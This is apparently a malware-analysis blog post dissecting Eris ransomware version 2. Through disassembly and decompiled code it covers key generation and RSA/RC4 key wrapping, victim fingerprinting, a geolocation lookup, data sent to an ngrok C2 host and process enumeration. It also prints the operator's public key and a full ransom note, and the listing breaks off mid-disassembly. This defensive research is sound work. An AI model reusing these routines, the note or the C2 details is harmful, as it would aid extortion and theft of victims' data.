Go Under the Hood: Eris Ransomware

lekstu.ga/posts/go-under-the-hood-eris/

October 6, 2019

Eris ransomware was first discovered in May 2019. In July it was reported by Bleeping Computer that the malware was being distributed by the RIG exploit kit.

Here is a set of analysis notes for version two of the family. The sample used for the analysis has the hash of `99d19dd82330a1c437a64e7ca9896ad9d914de10c4f7aa2222b1a5bc4750f692`

Malware overview

Version two of the Eris ransomware are made up of six packages.

- Sync package used to collect victim information and send it to the operator.
- Main package
- Utils
- Cryptography
- Anti package used for wiping 3rd party backup files
- Walk package used to walk the file system

A source code layout created by `redress` is shown below.

```
Package Eris/Sync: .
File: .
        init Lines: 1 to 11 (10)
        GetOS Lines: 5 to 17 (12)
        GetSpace Lines: 11 to 12 (1)
        GetID Lines: 11 to 25 (14)
        GetGeo Lines: 12 to 22 (10)
        GetSyncInfo Lines: 17 to 85 (68)
        machineID Lines: 25 to 27 (2)
        GetSyns Lines: 85 to 451 (366)
Package main: .
File: .
        init Lines: 1 to 1 (0)
        Init Lines: 30 to 46 (16)
        main Lines: 46 to 236 (190)
        mainfunc1 Lines: 165 to 166 (1)
        ReadFileA Lines: 236 to 246 (10)
        LineCountA Lines: 246 to 250 (4)
Package Eris/Utils: .
File: .
        init Lines: 1 to 1 (0)
        RandStringBytes Lines: 18 to 35 (17)
        Kill Lines: 35 to 64 (29)
        initializers Lines: 43 to 44 (1)
        Execute Lines: 64 to 83 (19)
        (*WindowsProcess)Pid Lines: 78 to 82 (4)
        (*WindowsProcess)PPid Lines: 82 to 86 (4)
        GetDrive Lines: 83 to 107 (24)
        (*WindowsProcess)Executable Lines: 86 to 90 (4)
        newWindowsProcess Lines: 90 to 122 (32)
        Contains Lines: 107 to 119 (12)
        Exists Lines: 119 to 130 (11)
        processes Lines: 122 to 127 (5)
        Wrap Lines: 130 to 139 (9)
Package Eris/Cryptography: .
File: .
        init Lines: 1 to 1 (0)
        RC4Encrypt Lines: 5 to 15 (10)
        RSAGenerateKey Lines: 15 to 43 (28)
        Lock Lines: 23 to 57 (34)
        RSAEncrypt Lines: 43 to 46 (3)
Package Eris/Anti: .
File: .
        init Lines: 1 to 10 (9)
        WipeBackup Lines: 11 to 15 (4)
Package Eris/Walk: .
File: .
        init Lines: 1 to 116 (115)
        Check Lines: 10 to 18 (8)
        WalkDirectores Lines: 18 to 130 (112)
        WalkComputer Lines: 130 to 133 (3)
        WalkComputerfunc1 Lines: 133 to 142 (9)
        WalkComputerfunc2 Lines: 142 to 143 (1)
```

Technical breakdown

Loading import functions

The malware loads some additional imports in its init function. These imports are later used to list all the running processes.

```
(fcn) sym.Eris_Utils_init.ializers
0x0053df90  mov ecx, dword fs:[0x14]
0x0053df97  mov ecx, dword [ecx]
0x0053df9d  cmp esp, dword [ecx + 8]
0x0053dfa0  jbe 0x53e101
0x0053dfa6  sub esp, 0x10
0x0053dfa9  lea eax, str_kernel32.dll ; "kernel32.dll"
0x0053dfaf  mov dword [esp], eax
0x0053dfb2  mov dword [var_4h], 0xc
0x0053dfba  call sym.syscall.NewLazyDLL
0x0053dfbf  mov eax, dword [0x88be50]
0x0053dfc5  mov ecx, dword [var_8h]
0x0053dfc9  test eax, eax
0x0053dfcb  jne 0x53e0ef
0x0053dfd1  mov dword [sym.hKernel32.dll], ecx
0x0053dfd7  mov dword [esp], ecx
0x0053dfda  lea eax, [0x675b84] ; "CloseHandle"
0x0053dfe0  mov dword [var_4h], eax
0x0053dfe4  mov dword [var_8h], 0xb
0x0053dfec  call sym.syscall___LazyDLL_.NewProc
0x0053dff1  mov eax, dword [0x88be50]
0x0053dff7  mov ecx, dword [var_ch]
0x0053dffb  test eax, eax
0x0053dffd  jne 0x53e0dd
0x0053e003  mov dword [sym.pCloseHandle], ecx
0x0053e009  mov eax, dword [sym.hKernel32.dll]
0x0053e00f  mov dword [esp], eax
0x0053e012  lea eax, [0x67ae16] ; "CreateToolhelp32Snapshot"
0x0053e018  mov dword [var_4h], eax
0x0053e01c  mov dword [var_8h], 0x18
0x0053e024  call sym.syscall___LazyDLL_.NewProc
0x0053e029  mov eax, dword [0x88be50]
0x0053e02f  mov ecx, dword [var_ch]
0x0053e033  test eax, eax
0x0053e035  jne 0x53e0cb
0x0053e03b  mov dword [sym.pCreateToolhelp32Snapshot], ecx
0x0053e041  mov eax, dword [sym.hKernel32.dll]
0x0053e047  mov dword [esp], eax
0x0053e04a  lea eax, [0x6772a1] ; "Process32FirstW"
0x0053e050  mov dword [var_4h], eax
0x0053e054  mov dword [var_8h], 0xf
0x0053e05c  call sym.syscall___LazyDLL_.NewProc
0x0053e061  mov eax, dword [0x88be50]
0x0053e067  mov ecx, dword [var_ch]
0x0053e06b  test eax, eax
0x0053e06d  jne 0x53e0bc
0x0053e06f  mov dword [sym.pProcess32FirstW], ecx
0x0053e075  mov eax, dword [sym.hKernel32.dll]
0x0053e07b  mov dword [esp], eax
0x0053e07e  lea eax, [0x676d3a] ; "Process32NextW"
0x0053e084  mov dword [var_4h], eax
0x0053e088  mov dword [var_8h], 0xe
0x0053e090  call sym.syscall___LazyDLL_.NewProc
0x0053e095  mov eax, dword [0x88be50]
0x0053e09b  mov ecx, dword [var_ch]
```

```
0x0053e09f  test eax, eax
0x0053e0a1  jne 0x53e0ad
0x0053e0a3  mov dword [sym.pProcess32NextW], ecx
0x0053e0a9  add esp, 0x10
0x0053e0ac  ret
```

Encryption key generation

The malware uses the following struct to store the keys generated for the victim.

```
type main.Session struct {
    Extension string
    PUBLIC_KEY []uint8
    E_PRIVATE_KEY []uint8
}
```

It is also stored encrypted on the disk. The following snippet shows the generation of file path to the files.

```
0x005fe3ff  lea eax, [0x6770d0] ; "ALLUSERSPROFILE"
0x005fe405  mov dword [esp], eax
0x005fe408  mov dword [var_4h], 0xf
0x005fe410  call fcn.os.Getenv
0x005fe415  mov eax, dword [var_ch]
0x005fe419  mov ecx, dword [var_8h]
0x005fe41d  mov dword [esp], ecx
0x005fe420  mov dword [var_4h], eax
0x005fe424  call fcn.runtime.convTstring
0x005fe429  mov eax, dword [var_8h]
0x005fe42d  mov dword [var_198h], 0
0x005fe438  mov dword [var_19ch], 0
0x005fe443  mov dword [var_1a0h], 0
0x005fe44e  mov dword [var_1a4h], 0
0x005fe459  lea ecx, sym.type.string
0x005fe45f  mov dword [var_198h], ecx
0x005fe466  mov dword [var_19ch], eax
0x005fe46d  mov dword [var_1a0h], ecx
0x005fe474  lea eax, [0x6cec98] ; "00000000.pky"
0x005fe47a  mov dword [var_1a4h], eax
0x005fe481  lea eax, [0x6745d6] ; "%s\%s"
0x005fe487  mov dword [esp], eax
0x005fe48a  mov dword [var_4h], 5
0x005fe492  lea edx, [var_198h]
0x005fe499  mov dword [var_8h], edx
0x005fe49d  mov dword [var_ch], 2
0x005fe4a5  mov dword [var_10h], 2
0x005fe4ad  call fcn.fmt.Sprintf
```

The data is stored in these three files:

- `%ALLUSERSPROFILE%\00000000.pky`
- `%ALLUSERSPROFILE%\00000000.eky`
- `%ALLUSERSPROFILE%\00000000.ext`

If files already exists, they are used instead of generating a new key.

```
0x005fe65a  mov edx, dword [pky_path_str]
0x005fe661  mov dword [esp], edx
0x005fe664  mov ebx, dword [pky_path_str_len]
0x005fe66b  mov dword [var_4h], ebx
0x005fe66f  call fcn.Eris_Utils.Exists
0x005fe674  movzx eax, byte [var_8h]
0x005fe679  test al, al
0x005fe67b  je 0x5ff0c4
0x005fe681  mov eax, dword [pky_path_str]
0x005fe688  mov dword [esp], eax
0x005fe68b  mov eax, dword [pky_path_str_len]
0x005fe692  mov dword [var_4h], eax
0x005fe696  call fcn.main.ReadFileA
0x005fe69b  mov eax, dword [var_14h]
0x005fe69f  mov ecx, dword [var_10h]
0x005fe6a3  mov edx, dword [var_8h]
0x005fe6a7  mov ebx, dword [var_ch]
0x005fe6ab  test eax, eax
```

The victim’s private key is encrypted with the threat actor’s public key. The encrypted blob is further encrypted RC4.

```
0x005ff212  lea esi, [0x68736a] ; Public key
0x005ff218  call fcn.0044d9f0
0x005ff21d  mov ecx, dword [var_174h]
0x005ff224  mov dword [esp], ecx
0x005ff227  mov dword [var_4h], 0x80
0x005ff22f  mov dword [var_8h], 0x80
0x005ff237  mov dword [var_ch], eax
0x005ff23b  mov dword [var_10h], 0x1c3
0x005ff243  mov dword [var_14h], 0x1c3
0x005ff24b  call fcn.Eris_Cryptography.RSAEncrypt
0x005ff250  mov eax, dword [var_20h]
0x005ff254  mov dword [var_8ch], eax
0x005ff25b  mov ecx, dword [var_1ch]
0x005ff25f  mov dword [var_84h], ecx
0x005ff266  mov edx, dword [var_18h]
0x005ff26a  mov dword [var_140h], edx
0x005ff271  mov ebx, dword [var_148h]
0x005ff278  mov dword [esp], ebx
0x005ff27b  mov ebx, dword [var_98h]
0x005ff282  mov dword [var_4h], ebx
0x005ff286  mov ebx, dword [var_9ch]
0x005ff28d  mov dword [var_8h], ebx
0x005ff291  mov ebx, dword [var_174h]
0x005ff298  mov dword [var_ch], ebx
0x005ff29c  mov dword [var_10h], 0x80
0x005ff2a4  mov dword [var_14h], 0x80
0x005ff2ac  call fcn.Eris_Cryptography.RC4Encrypt
0x005ff2b1  mov eax, dword [var_1ch]
0x005ff2b5  mov dword [var_88h], eax
0x005ff2bc  mov ecx, dword [var_18h]
0x005ff2c0  mov dword [var_13ch], ecx
0x005ff2c7  mov edx, dword [var_20h]
0x005ff2cb  mov dword [var_90h], edx
```

Threat actor's key:

```
--BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiVFawLHK0Gld4XUYi7Wq
1ura1N78VvOuW4kvH/yDYOajqRx7nqFB2mokTDqHa5phT48FtLMbuFc+j39YnZBa
jjSN2zDaC13vDRNXfiW41yJAtMAJXh17cE/lAdAgEUQdYwJPVHfDuCPGGO5Dn+hg
xehdJvIiNFbKCCFP7EojDH0kK1h9p8TngwqHySBNLUADKeONKPk171oe+5isEnbF
VjBcinGF13V/CRBKXsrH2z7BCWtyZTG+MWXRqUOn2mYOFgt4ZNOe4U0nz6/A1YmJ
V8NybH2vHp4Bs/ov7RcnQUvW0BwG0/xp6YDSaOt59A0rEbJE0+J3NTlEVPesehOr
xwIDAQAB
-----END PUBLIC KEY-----
```

The malware also looks for the existence of the file: `C:\eris.was`

```
0x005fe7f2  lea eax, [0x675b79] ; "C:\eris.was"
0x005fe7f8  mov dword [esp], eax
0x005fe7fb  mov dword [var_4h], 0xb
0x005fe803  call fcn.Eris_Utils.Exists
0x005fe808  movzx eax, byte [var_8h]
0x005fe80d  test al, al
0x005fe80f  jne 0x5ff05d
0x005fe815  xor eax, eax
0x005fe817  mov dword [var_94h], eax
0x005fe81e  mov ecx, dword [session]
0x005fe825  mov edx, dword [ecx + 0x14]
0x005fe828  mov ebx, dword [ecx + 0x18]
0x005fe82b  mov ebp, dword [ecx + 0x1c]
0x005fe82e  mov dword [esp], edx
0x005fe831  mov dword [var_4h], ebx
0x005fe835  mov dword [var_8h], ebp
0x005fe839  call fcn.Eris_Sync.GetSyns
```

Victim information

The Eris malware collects information about the infected system. The data is populated into the structure shown below.

```
type Struct.BotJson struct{
    UID string
    SID string
    Kind int
    Storage []struct {
        Alphabet string `json:"alphabet"`
        Label string `json:"label"`
        Type int `json:"type"`
        Free int64 `json:"free"`
        Full int64 `json:"full"`
    }
    Extension string
    OS string
    UserName string
    PCName string
    Country string
    City string
    IP string
    Org string
    Stage1 string
    Stage2 string
    Date int64
}
```

Username is collected from the environment variable and the host name is retrieved via the standard library function:

```
0x005f8d21  lea ecx, [0x67505a] ; "USERNAME"
0x005f8d27  mov dword [esp], ecx
0x005f8d2a  mov dword [var_4h], 8
0x005f8d32  call fcn.os.Getenv
0x005f8d37  mov ecx, dword [var_8h]
0x005f8d3b  mov edx, dword [var_ch]
0x005f8d3f  mov dword [username_str], ecx
0x005f8d46  mov dword [username_str_len], edx
0x005f8d4d  nop
0x005f8d4e  call fcn.os.hostname
0x005f8d53  mov ecx, dword [esp]
0x005f8d56  mov edx, dword [var_4h]
0x005f8d5a  mov ebx, dword [var_8h]
0x005f8d5e  test ebx, ebx
0x005f8d60  je 0x5f8f7e
0x005f8d66  lea eax, [0x674dca] ; "unknown"
0x005f8d6c  mov dword [hostname_str], eax
0x005f8d73  mov dword [hostname_str_len], 7
...
0x005f8f7e  mov dword [hostname_str], ecx
0x005f8f85  mov dword [hostname_str_len], edx
0x005f8f8c  jmp 0x5f8d7e
```

The ID of the machine is generated from the machine ID. First the GUID is fetched from the registry. A summary of the `Eris_Sync.machineID` function is shown below.

```
0x005f8a10 "SOFTWARE\Microsoft\Cryptography"
0x005f8a2a call sym.golang.org_x_sys_windows_registry.OpenKey
0x005f8a5c call sym.runtime.deferproc
0x005f8a63 cjmp 0x005f8b0d
0x005f8a6f cjmp 0x005f8ae7
0x005f8a78 "MachineGuid"
0x005f8a8a call sym.golang.org_x_sys_windows_registry_Key.GetStringValue
0x005f8aa1 cjmp 0x005f8ac5
0x005f8abc call sym.runtime.deferreturn
0x005f8ac5:
0x005f8ade call sym.runtime.deferreturn
0x005f8ae7:
0x005f8b04 call sym.runtime.deferreturn
0x005f8b0d:
0x005f8b0e call sym.runtime.deferreturn
0x005f8b17:
0x005f8b17 call sym.runtime.morestack_noctxt
0x005f8b1c jmp 0x005f89d0
0x005f8b1c sym.Eris_Sync.machineID
```

The GUID is hashed with *SHA1* and the hex-encoded string is used as the ID. If no GUID is found, the ID is generated from a set of random bytes. Below is a Ghidra decompiled representation of the function.

```
void sym.Eris_Sync.GetID(undefined4 uParm1, undefined4 uParm2)
{
    uint32_t *puVar1;
    int32_t iVar2;
    int32_t iVar3;
    int32_t in_FS_OFFSET;
    undefined4 *in_stack_fffffa4;
    undefined4 *in_stack_fffffa8;
    undefined4 *puVar4;
    undefined4 *in_stack_fffffac;
    undefined4 *in_stack_fffffb0;
    int32_t in_stack_fffffb4;
    uint32_t in_stack_fffffb8;
    uint32_t uVar5;
    int32_t in_stack_fffffbc;
    undefined4 uStack56;
    int32_t iStack52;
    undefined4 uStack48;

    sym.Eris_Sync.machineID();
    puVar4 = in_stack_fffffa8;
    if ((in_stack_fffffac != (undefined4 *)0x0) && (in_stack_fffffa8 == (undefined4
*)0x0)) {
    // If no GUID, generate random string.
        in_stack_fffffa4 = in_stack_fffffa8;
        in_stack_fffffa8 = in_stack_fffffac;
        sym.Eris_Utils.RandStringBytes(0x20);
        puVar4 = in_stack_fffffa4;
    }
    sym.runtime.newobject(sym.type.sha1.digest);
    *puVar4 = 0x67452301;
    puVar4[1] = 0xefcdab89;
    puVar4[2] = 0x98badcfe;
    puVar4[3] = 0x10325476;
    puVar4[4] = 0xc3d2e1f0;
    puVar4[0x15] = 0;
    puVar4[0x16] = 0;
    puVar4[0x17] = 0;
    sym.runtime.stringtoslicebyte(0, in_stack_fffffa4, in_stack_fffffa8);
    sym.crypto_sha1___digest_.Write(puVar4, in_stack_fffffb0, in_stack_fffffb4,
in_stack_fffffb8);
    sym.runtime.newobject(sym.type._9_uint8);
    *in_stack_fffffb0 = 0x6e617247;
    *(undefined4 *)((int32_t)in_stack_fffffb0 + 1) = 0x646e6172;
    *(undefined4 *)((int32_t)in_stack_fffffb0 + 5) = 0x73697245;
    sym.crypto_sha1___digest_.Write(puVar4, in_stack_fffffb0, 9, 9);
    sym.crypto_sha1___digest_.Sum(puVar4, 0, 0, 0);
    iVar2 = in_stack_fffffb4;
    uVar5 = in_stack_fffffb8;
    iVar3 = in_stack_fffffbc;
    sym.crypto_sha1___digest_.Sum(puVar4, 0, 0, 0);
    if (7 < uVar5) {
        iVar2 = iVar2 + (-(iVar3 + -8) >> 0x1f & 8U);
        sym.golang.org_x_crypto_pbkdf2.Key(in_stack_fffffb4, in_stack_fffffb8,
                        in_stack_fffffbc, iVar2, uVar5 - 8,
```

```
                        iVar3 + -8, 0x7e4, 8, 0x68ae74);
        iVar3 = iStack52 << 1;
        sym.runtime.makeslice(sym.type.uint8, iVar3, iVar3);
        sym.encoding_hex.Encode(iVar2, iVar3, iVar3, uStack56,
                                iStack52, uStack48);
        sym.runtime.slicebytetostring(0, iVar2, iVar3, iVar3);
        return;
    }
    sym.runtime.panicslice();
    do {
        invalidInstructionException();
    } while( true );
}
```

Disk space is gathered from all disks attached. First the malware checks which drive letters exist.

```
0x005f7f92  cmp ecx, 0x1a ; 26
0x005f7f95  jge 0x5f80c7
0x005f7f9b  mov dword [var_3ch], ecx
0x005f7f9f  mov dword [var_4ch], ebx
0x005f7fa3  lea eax, [var_64h]
0x005f7fa7  mov dword [esp], eax
0x005f7faa  lea eax, [ecx + 0x41]
0x005f7fad  mov dword [var_4h], eax
0x005f7fb1  sar eax, 0x1f
0x005f7fb4  mov dword [var_8h], eax
0x005f7fb8  call fcn.runtime.intstring
0x005f7fbd  mov eax, dword [var_10h]
0x005f7fc1  mov ecx, dword [var_ch]
0x005f7fc5  mov dword [esp], 0
0x005f7fcc  mov dword [var_4h], ecx
0x005f7fd0  mov dword [var_8h], eax
0x005f7fd4  lea eax, [0x673e20] ; ":\"
0x005f7fda  mov dword [var_ch], eax
0x005f7fde  mov dword [var_10h], 2
0x005f7fe6  call fcn.runtime.concatstring2
0x005f7feb  mov eax, dword [var_18h]
0x005f7fef  mov dword [var_50h], eax
0x005f7ff3  mov ecx, dword [var_14h]
0x005f7ff7  mov dword [var_474h], ecx
0x005f7ffe  mov dword [esp], ecx
0x005f8001  mov dword [var_4h], eax
0x005f8005  call fcn.os.Stat
0x005f800a  mov eax, dword [var_10h]
0x005f800e  mov ecx, dword [var_14h]
0x005f8012  mov dword [esp], eax
0x005f8015  mov dword [var_4h], ecx
0x005f8019  call fcn.os.IsNotExist
0x005f801e  movzx eax, byte [var_8h]
0x005f8023  test al, al
```

The disk space is gotten by calling `GetVolumeInformationW`.

```
0x005f82e9  lea edx, [0x67983a] ; "GetVolumeInformationW"
0x005f82ef  mov dword [var_4h], edx
0x005f82f3  mov dword [var_8h], 0x15
0x005f82fb  call fcn.syscall.GetProcAddress
0x005f8300  mov edx, dword [var_ch]
0x005f8304  mov dword [pGetVolumeInformationW], edx
0x005f8308  mov ebx, dword [var_470h]
0x005f830f  mov dword [esp], ebx
0x005f8312  mov ebp, dword [var_38h]
0x005f8316  mov dword [var_4h], ebp
0x005f831a  call fcn.syscall.StringToUTF16Ptr
0x005f831f  mov edx, dword [var_8h]
0x005f8323  mov dword [var_498h], edx
0x005f832a  lea edx, [var_266h]
0x005f8331  mov dword [var_494h], edx
0x005f8338  lea ebx, [var_54h]
0x005f833c  mov dword [var_490h], ebx
0x005f8343  lea ebx, [var_58h]
0x005f8347  mov dword [var_48ch], ebx
0x005f834e  lea ebx, [var_5ch]
0x005f8352  mov dword [var_488h], ebx
0x005f8359  lea ebx, [var_68h]
0x005f835d  mov dword [var_484h], ebx
0x005f8364  mov ebx, dword [pGetVolumeInformationW]
0x005f8368  mov dword [esp], ebx
0x005f836b  mov dword [var_4h], 8
0x005f8373  mov ebx, dword [var_498h]
0x005f837a  mov dword [var_8h], ebx
0x005f837e  mov ebx, dword [var_494h]
0x005f8385  mov dword [var_ch], ebx
0x005f8389  mov dword [var_10h], 0x105
0x005f8391  mov ebx, dword [var_490h]
0x005f8398  mov dword [var_14h], ebx
0x005f839c  mov ebx, dword [var_48ch]
0x005f83a3  mov dword [var_18h], ebx
0x005f83a7  mov ebx, dword [var_488h]
0x005f83ae  mov dword [var_1ch], ebx
0x005f83b2  mov ebx, dword [var_484h]
0x005f83b9  mov dword [var_20h], ebx
0x005f83bd  mov dword [var_24h], 0x105
0x005f83c5  mov dword [var_28h], 0
0x005f83cd  call fcn.syscall.Syscall9
```

```
0x005f80fa  mov eax, dword [var_470h]
0x005f8101  mov dword [esp], eax
0x005f8104  mov ecx, dword [var_38h]
0x005f8108  mov dword [var_4h], ecx
0x005f810c  call fcn.syscall.StringToUTF16Ptr
0x005f8111  mov eax, dword [var_8h]
0x005f8115  mov dword [var_49ch], eax
0x005f811c  lea ecx, sym.type._4_uintptr
0x005f8122  mov dword [esp], ecx
0x005f8125  call fcn.runtime.newobject
0x005f812a  mov eax, dword [var_4h]
0x005f812e  mov ecx, dword [var_49ch]
0x005f8135  mov dword [eax], ecx
0x005f8137  mov ecx, dword [var_4ach]
0x005f813e  mov dword [eax + 4], ecx
0x005f8141  mov ecx, dword [var_4a8h]
0x005f8148  mov dword [eax + 8], ecx
0x005f814b  mov ecx, dword [var_4b0h]
0x005f8152  mov dword [eax + 0xc], ecx
0x005f8155  mov ecx, dword [pGetDiskFreeSpaceExW]
0x005f815c  mov dword [esp], ecx
0x005f815f  mov dword [var_4h], eax
0x005f8163  mov dword [var_8h], 4
0x005f816b  mov dword [var_ch], 4
0x005f8173  call fcn.syscall___Proc_.Call
0x005f8178  mov eax, dword [var_470h]
0x005f817f  mov dword [esp], eax
0x005f8182  mov eax, dword [var_38h]
0x005f8186  mov dword [var_4h], eax
0x005f818a  call fcn.syscall.StringToUTF16Ptr
0x005f818f  mov eax, dword [var_8h]
0x005f8193  mov dword [esp], eax
0x005f8196  call fcn.golang.org_x_sys_windows.GetDriveType
```

The information for each drive is stored in a slice of structs as shown below.

Returns:

```
[]struct {
    Alphabet string `json:"alphabet"`
    Label string `json:"label"`
    Type int `json:"type"`
    Free int64 `json:"free"`
    Full int64 `json:"full"`
}
```

Operating information is collected from the registry key `ProductName`. Below is a Ghidra decompiled representation of the function.

```
void fcn.Eris_Sync.GetOS(undefined4 uParm1, undefined4 uParm2)
{
    while (puVar1 = (uint32_t *)(**(int32_t **)(in_FS_OFFSET + 0x14) + 8),
            register0x00000010 < (undefined *)*puVar1 || (undefined
*)register0x00000010 == (undefined *)*puVar1) {
        fcn.runtime.morestack_noctxt();
    }
    uParm1 = 0;
    uParm2 = 0;
    uVar3 = 0xf003f;
    key = fcn.golang.org_x_sys_windows_registry.OpenKey(0x80000002,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0xf003f);
    fcn.runtime.deferproc(0xc, 0x68afc4, uStack24);
    if (key != 0) {
        if (iStack20 == 0) {
            prod_name = fcn.golang.org_x_sys_windows_registry_Key.GetStringValue(key,
"ProductName");
            uParm1 = uVar3;
            if (prod_name != 0) {
                fcn.runtime.deferreturn();
                return prod_name;
            }
    }
    fcn.runtime.deferreturn();
    return "unknown";
}
```

Geo-location is gathered by performing a request to `extreme-ip-lookup.com`

```
0x005f84c4  lea ecx, sym.type.http.Client
0x005f84ca  mov dword [esp], ecx
0x005f84cd  call fcn.runtime.newobject
0x005f84d2  mov ecx, dword [var_4h]
0x005f84d6  mov dword [var_34h], ecx
0x005f84da  mov dword [ecx + 0x14], 0x540be400
0x005f84e1  mov dword [ecx + 0x18], 2
0x005f84e8  lea edx, sym.type.Struct.Geo
0x005f84ee  mov dword [esp], edx
0x005f84f1  call fcn.runtime.newobject
0x005f84f6  mov ecx, dword [var_4h]
0x005f84fa  mov dword [var_44h], ecx
0x005f84fe  lea edx, [0x673fa6] ; "GET"
0x005f8504  mov dword [esp], edx
0x005f8507  mov dword [var_4h], 3
0x005f850f  lea edx, [0x67f274] ; "http://extreme-ip-lookup.com/json/
0x005f8515  mov dword [var_8h], edx
0x005f8519  mov dword [var_ch], 0x22
0x005f8521  mov dword [var_10h], 0
0x005f8529  mov dword [var_14h], 0
0x005f8531  call fcn.net_http.NewRequest
0x005f8536  mov ecx, dword [var_18h]
```

User agent used: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`

Data returned from the service:

```
type Struct.Geo struct {
    BusinessName    string
    BusinessWebsite string
    City            string
    Continent       string
    Country         string
    CountryCode     string
    IPName          string
    IPType          string
    Isp             string
    Lat             string
    Lon             string
    Org             string
    Query           string
    Region          string
    Status          string
}
```

The data is sent to the C2 server located at `d9d120a3.ngrok.io`. The malware tries three times.

```
     0x005fe815  xor eax, eax
 .-> 0x005fe817  mov dword [var_94h], eax
 :   0x005fe81e  mov ecx, dword [session]
 :   0x005fe825  mov edx, dword [ecx + 0x14]
 :   0x005fe828  mov ebx, dword [ecx + 0x18]
 :   0x005fe82b  mov ebp, dword [ecx + 0x1c]
 :   0x005fe82e  mov dword [esp], edx
 :   0x005fe831  mov dword [var_4h], ebx
 :   0x005fe835  mov dword [var_8h], ebp
 :   0x005fe839  call fcn.Eris_Sync.GetSyns
 :   0x005fe83e  mov eax, dword [var_18h]
 :   0x005fe842  test eax, eax
,==< 0x005fe844  je 0x5fe853
|:   0x005fe846  mov eax, dword [var_94h]
|:   0x005fe84d  inc eax
|:   0x005fe84e  cmp eax, 3
|`=< 0x005fe851  jle 0x5fe817
`--> 0x005fe853  mov eax, dword [session]
```

Summary of function that sends the data:

```
0x005f8fa0:
0x005f8fb9 sym.type.http.Client
0x005f8fc2 call fcn.runtime.newobject
0x005f8ffd sym.type.string
0x005f9007 "d9d120a3.ngrok.io"
0x005f9015 "redirect"
0x005f901f "https://%s/%"
0x005f9048 call fcn.fmt.Sprintf
0x005f905e sym.type.bytes.Buffer
0x005f9067 call fcn.runtime.newobject
0x005f9086 cjmp 0x005f92c5
0x005f9092:
0x005f9092 "POST"
0x005f90c1 call fcn.net_http.NewRequest
0x005f90d6 sym.type.Struct.Response
0x005f90df call fcn.runtime.newobject
0x005f90ee cjmp 0x005f9118
0x005f90f0:
0x005f9118:
0x005f9129 "User-Agent"
0x005f913a call fcn.net_textproto.CanonicalMIMEHeaderKey
0x005f914f sym.type._1_string
0x005f9158 call fcn.runtime.newobject
0x005f9174 cjmp 0x005f92b5
0x005f917a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/58.0.3029.110 Safari/537.36"
0x005f9182:
0x005f9182 sym.type.textproto.MIMEHeader
0x005f91a3 call fcn.runtime.mapassign_faststr
0x005f91c2 cjmp 0x005f92a7
0x005f91ce:
0x005f91de call fcn.net_http___Client_.do
0x005f91ed cjmp 0x005f91f8
0x005f91ef:
0x005f91f3 jmp 0x005f90f0
0x005f91f8:
0x005f91fe sym.type.io.Reader
0x005f920f call fcn.runtime.convI2I
0x005f9234 call fcn.io_ioutil.readAll
0x005f924b cjmp 0x005f91ef
0x005f9258 sym.type._Struct.Response
0x005f926a call fcn.encoding_json.Unmarshal
```

The server response with the following data in JSON:

```
type Struct.Response struct {
    Response string
    Code     int
}
```

Ransomware initialization

Before encrypting files, the malware prepares the ransom note. The note is shown below. The malware performs the following operations on the note template:

- Replace `{version}` with `2.0.3`
- Replace `{host}` with `[[epaybfvlutydks6fpfwtwoe2fsph6vve2obgv6qbhyuqwkecbhsf7nyd.onion]]`
- Replace `{id}` with the id.
- Replace `{identification}` with base58 encoded encrypted key.

```
***                                                    ***\x0d
*** READ THIS FILE CAREFULLY TO RECOVERY YOUR FILES ***\x0d
***                                                    ***\x0d
\x0d
\x0d
\x0d
ALERT! \x0d
ALL OF YOUR FILES HAVE BEEN ENCRYPTED BY "ERIS RANSOMWARE" v{version}!\x0d
\x0d
Welcome to Eris System Security Encryption Program!\x0d
\x0d
Keeping strong security for our clients in mind, we have implemented Strong
Encryption Algorithm for securing the system.\x0d
\x0d
To personally update regarding the available decryption software and payment methods.
Follow the steps below to access the payment page.\x0d
\x0d
\x0d
Follow the steps below to access payment page.\x0d
\x0d
1. Download and install Tor browser from here:\x0d
   URL - https://www.torproject.org/download/\x0d
\x0d
2. Visit page below using Tor browser:\x0d
   URL - http://{host}/{id}\x0d
\x0d
3. Enter your "ERIS IDENTIFICATION". (You can find it in below)\x0d
\x0d
4. Follow the next steps(instructions) displayed on the page for successful
decryption.\x0d
\x0d
Note: \x0d
We only accept payments via Bitcoin (BTC)!\x0d
\x0d
\x0d
ERIS IDENTIFICATION:\x0d
\x0d
{identification}\x0d
\x0d
\x0d
* IF YOU NOT FOLLOW INSTRUCTIONS IN PAYMENT PAGE MORE THAN  7 DAYS!,\x0d
  YOUR CANNOT ACCESS TO PAYMENT PAGE OR YOUR FILES ANYMORE!\x0d
  \x0d
* IN CASE OF FOLLOWING OUR INSTRUCTION,\x0d
  FAST AND EASILY EVERYTHING IS BACK TO NORMAL LIKE THAT NEVER HAPPENED!\x0d
  BUT IF YOU USE OTHER METHODS (THAT NEVER EVER HELPS) YOU JUST DESTROY EVERYTHING
FOR GOODNESS!\x0d
\x0d
---------------------------------\x0d
* DO NOT MODIFY ENCRYPTED FILE(S)\x0d
* DO NOT MOVE ENCRYPTED FILES\x0d
* DO NOT USE RECOVERY SOFTWARE(S)\x0d
---------------------------------
```

Process enumeration

The malware enumerates all the running processes:

```
0x0053d024  mov ecx, dword [sym.pCreateToolhelp32Snapshot]
0x0053d02a  mov dword [esp], ecx
0x0053d02d  mov dword [var_4h], eax
0x0053d031  mov dword [var_8h], 2
0x0053d039  mov dword [var_ch], 2
0x0053d041  call fcn.syscall___LazyProc_.Call
0x0053d046  mov eax, dword [var_10h]
0x0053d04a  test eax, eax
0x0053d04c  jb 0x53d326
0x0053d052  mov dword [var_34h], eax
0x0053d056  lea eax, sym.type._1_uintptr
0x0053d05c  mov dword [esp], eax
0x0053d05f  call fcn.runtime.newobject
0x0053d064  mov eax, dword [var_4h]
0x0053d068  mov ecx, dword [var_34h]
0x0053d06c  mov dword [eax], ecx
0x0053d06e  mov dword [esp], 0x20
0x0053d075  lea edx, [0x68b3dc]
0x0053d07b  mov dword [var_4h], edx
0x0053d07f  mov edx, dword [sym.pCloseHandle]
0x0053d085  mov dword [var_8h], edx
0x0053d089  mov dword [var_ch], eax
0x0053d08d  mov dword [var_10h], 1
0x0053d095  mov dword [var_14h], 1
